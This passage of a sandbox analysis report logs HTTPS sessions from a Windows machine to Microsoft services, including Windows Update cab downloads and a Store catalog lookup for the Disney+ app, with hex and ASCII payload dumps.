3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 
61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 
65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 
65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 
3a 31 2c 22 52 65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 65 64 
Data Ascii: "Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD",
"IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0011"
,"DisplayRank":1,"RemediationRequired

2022-06-08 07:57:03 UTC 9713 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

122 192.168.2.3 49850 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:03 UTC 9713 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&bSrc=i.t&time=20220608T165639Z&asid=bb4e26aa6fae45b5bae03115aaadb587&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:04 UTC 9714 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 0c25077c-469d-4924-941a-0b9be9708567
Date: Wed, 08 Jun 2022 07:57:03 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

123 192.168.2.3 49851 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:04 UTC 9714 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
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2022-06-08 07:57:04 UTC 9714 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 2449e085-bbe9-4d1c-88fc-9f6e4eb7b189
MS-RequestId: c6bf225a-acc3-42a3-bcd3-1571d25bff75
MS-CV: 6hx6/XfwRE68IzqO.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:04 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:04 UTC 9715 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:57:04 UTC 9730 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:57:04 UTC 9746 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

124 192.168.2.3 49852 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:04 UTC 9750 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:57:04 UTC 9750 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: d3689695-1e48-4e3b-a110-043f757b85a8
MS-RequestId: 214f367c-5152-40f0-bfc6-b9d0b8c26463
MS-CV: 3sYKnGME50S49cPq.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:04 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:04 UTC 9751 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

Copyright Joe Security LLC 2022 Page 65 of 211



2022-06-08 07:57:04 UTC 9766 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:57:04 UTC 9782 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

125 192.168.2.3 49853 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:05 UTC 9786 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Disney.37853FC22B2CE_6rarf9sa4v8jt&mar
ket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: 9g8eTgIWfUaDjTKd.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-06-08 07:57:05 UTC 9786 IN HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Jun 2022 07:57:04 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: f89b7319-5249-496c-84ca-9a207c9b1f5d
MS-RequestId: b1ba6719-b785-4966-939c-22f1b64ed5e5
MS-CV: 9g8eTgIWfUaDjTKd.0.2.4.1227127470.0.1.1227127470.0.0
X-Content-Type-Options: nosniff
MS-ServerId: b9576-v7h2x
Region: neu
Node: aks-bigcatrpns-32351330-vmss00000l
MS-DocumentVersions: 9NXQXXLFST89|2079

2022-06-08 07:57:05 UTC 9787 IN Data Raw: 66 37 35 64 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 36 2d 30 37 54 32 31 3a 34 39 3a 35 36 2e 35 39 38 39 34 38 
35 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 33 39 32 31 33 30 36 39 37 36 
36 34 38 30 32 35 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: f75d{"BigIds":["9NXQXXLFST89"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-06-07T21
:49:56.5989485Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3003921306976648025","EISListingIdentifier
":null,"BackgroundColor":"transpare

2022-06-08 07:57:05 UTC 9790 IN Data Raw: 34 34 39 35 33 31 31 38 34 37 31 32 34 31 37 30 2e 65 38 39 61 34 64 63 65 2d 66 64 39 61 2d 34 61 31 30 
2d 62 38 65 34 2d 61 36 63 33 61 61 31 63 30 35 35 65 2e 31 33 35 32 66 66 62 62 2d 36 65 36 61 2d 34 30 38 37 2d 38 
39 34 32 2d 36 33 66 31 39 35 62 33 34 32 38 66 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 
3a 22 33 30 31 33 35 32 36 32 36 31 37 38 34 36 35 36 32 39 34 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 
69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 30 32 34 
2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 
Data Ascii: 4495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.1352ffbb-6e6a-4087-8942-63f195b342
8f","Width":66},{"FileId":"3013526261784656294","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":""
,"FileSizeInBytes":6024,"ForegroundColor":"","H

2022-06-08 07:57:05 UTC 9794 IN Data Raw: 31 34 38 39 33 39 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 
2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 
6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 39 35 34 31 2c 22 46 6f 72 65 67 72 6f 75 
6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 
6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 4
9 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 33 38 30 6c 77 36 43 53 43 31 58 33 69 45 42 72 4c 4e 75 71 66 
68 35 2b 4c 63 41 43 74 2f 70 37 46 72 42 52 46 79 77 65 76 70 38 3d 
Data Ascii: 148939","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":79541,"Fo
regroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"380lw6C
SC1X3iEBrLNuqfh5+LcACt/p7FrBRFywevp8=
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2022-06-08 07:57:05 UTC 9798 IN Data Raw: 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 
69 7a 65 49 6e 42 79 74 65 73 22 3a 32 30 33 34 34 31 37 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 
2c 22 48 65 69 67 68 74 22 3a 31 30 38 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 
6b 74 6f 70 2f 32 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 
63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 63 63 58 75 6a 62 4c 37 78 78 34 71 74 59 71 55 
66 44 53 36 63 7a 70 68 39 53 46 7a 73 57 59 71 4c 79 59 66 35 4a 2f 64 4d 4b 55 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 7
3 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 
Data Ascii: r":"transparent","Caption":"","FileSizeInBytes":2034417,"ForegroundColor":"","Height":1080,"ImagePositionInf
o":"Desktop/2","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"ccXujbL7xx4qtYqUfDS6czph9SFzsW
YqLyYf5J/dMKU=","Uri":"//store-images.s-microso

2022-06-08 07:57:05 UTC 9802 IN Data Raw: 2b 20 69 73 20 74 68 65 20 73 74 72 65 61 6d 69 6e 67 20 68 6f 6d 65 20 6f 66 20 79 6f 75 72 20 66 61 76 6f 
72 69 74 65 20 73 74 6f 72 69 65 73 2e 20 57 69 74 68 20 75 6e 6c 69 6d 69 74 65 64 20 65 6e 74 65 72 74 61 69 6e 6d 
65 6e 74 20 66 72 6f 6d 20 44 69 73 6e 65 79 2c 20 50 69 78 61 72 2c 20 4d 61 72 76 65 6c 2c 20 53 74 61 72 20 57 61 
72 73 20 61 6e 64 20 4e 61 74 69 6f 6e 61 6c 20 47 65 6f 67 72 61 70 68 69 63 2c 20 74 68 65 72 65 27 73 20 61 6c 77 6
1 79 73 20 73 6f 6d 65 74 68 69 6e 67 20 74 6f 20 65 78 70 6c 6f 72 65 2e 20 57 61 74 63 68 20 74 68 65 20 6c 61 74 65 
73 74 20 72 65 6c 65 61 73 65 73 2c 20 4f 72 69 67 69 6e 61 6c 20 73 65 72 69 65 73 20 61 6e 64 20 6d 6f 76 69 65 73 
2c 20 63 6c 61 73 73 69 63 20 66 69 6c 6d 73 2c 20 61 6e 64 20 54 56 
Data Ascii: + is the streaming home of your favorite stories. With unlimited entertainment from Disney, Pixar, Marvel, Star 
Wars and National Geographic, there's always something to explore. Watch the latest releases, Original series and mo
vies, classic films, and TV

2022-06-08 07:57:05 UTC 9806 IN Data Raw: 35 33 46 43 32 32 42 32 43 45 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 50 61 63 6b 61 67 65 49 
64 65 6e 74 69 74 79 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 22 2c 22 50 75 
62 6c 69 73 68 65 72 43 65 72 74 69 66 69 63 61 74 65 4e 61 6d 65 22 3a 22 43 4e 3d 35 38 44 45 43 45 33 39 2d 44 35 
44 30 2d 34 32 39 33 2d 41 41 41 30 2d 39 41 46 38 34 38 34 46 31 32 45 32 22 2c 22 58 62 6f 78 43 72 6f 73 73 47 65 
6e 53 65 74 49 64 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 4f 70 74 69 6d 69 7a 65 64 22 3a 6e 
75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 43 6f 6d 70 61 74 69 62 6c 65 22 3a 6e 75 6c 6c 7d 2c 22 41 6c 
74 65 72 6e 61 74 65 49 64 73 22 3a 5b 7b 22 49 64 54 79 70 65 22 3a 
Data Ascii: 53FC22B2CE_6rarf9sa4v8jt","PackageIdentityName":"Disney.37853FC22B2CE","PublisherCertificateName":
"CN=58DECE39-D5D0-4293-AAA0-9AF8484F12E2","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"X
boxConsoleGenCompatible":null},"AlternateIds":[{"IdType":

2022-06-08 07:57:05 UTC 9810 IN Data Raw: 50 4e 22 2c 22 53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 53 43 22 2c 22 53 4c 22 2c 22 47 53 22 2c 22 53 
48 22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 22 2c 22 54 47 22 2c 22 
54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 
22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 
2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 55 54 52 41 4c 
22 5d 7d 5d 2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 2c 22 50 72 6f 70 65 72 
74 69 65 73 22 3a 7b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 
Data Ascii: PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV"
,"UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId"
:"9NXQXXLFST89","Properties":{"FulfillmentData"

2022-06-08 07:57:05 UTC 9814 IN Data Raw: 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 
7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 
7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 
69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 
6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 68 65 76 63 50 6c 61 79 62 61 63 6b 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 
65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 34 32 39 32 
36 35 32 31 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 
Data Ascii: tent":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":["arm64"],"Cap
abilities":["internetClient","privateNetworkClientServer","hevcPlayback"],"ExperienceIds":[],"MaxDownloadSizeInBytes":14
2926521,"MaxInstallSizeInBy

2022-06-08 07:57:05 UTC 9818 IN Data Raw: 30 5f 78 38 36 5f 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 30 
61 36 65 34 61 30 33 2d 63 39 36 32 2d 38 62 39 64 2d 32 37 34 39 2d 64 35 32 37 38 62 61 34 65 61 38 33 2d 58 38 36 
22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 30 31 31 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 
63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 4d 
69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 
6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 
58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 
Data Ascii: 0_x86__6rarf9sa4v8jt","PackageId":"0a6e4a03-c962-8b9d-2749-d5278ba4ea83-X86","PackageRank":30011,"
PlatformDependencies":[{"MaxTested":2814751014977536,"MinVersion":2814751014977536,"PlatformName":"W
indows.Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.versi

2022-06-08 07:57:05 UTC 9822 IN Data Raw: 36 34 5f 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 
74 49 64 5c 22 3a 5c 22 34 65 37 32 33 32 33 32 2d 37 62 36 30 2d 34 66 37 32 2d 39 39 32 35 2d 39 30 32 66 37 35 36 
61 38 33 62 32 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 
22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 3
9 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 
34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 2c 7b 5c 22 70 6c 61 74 66 6f 
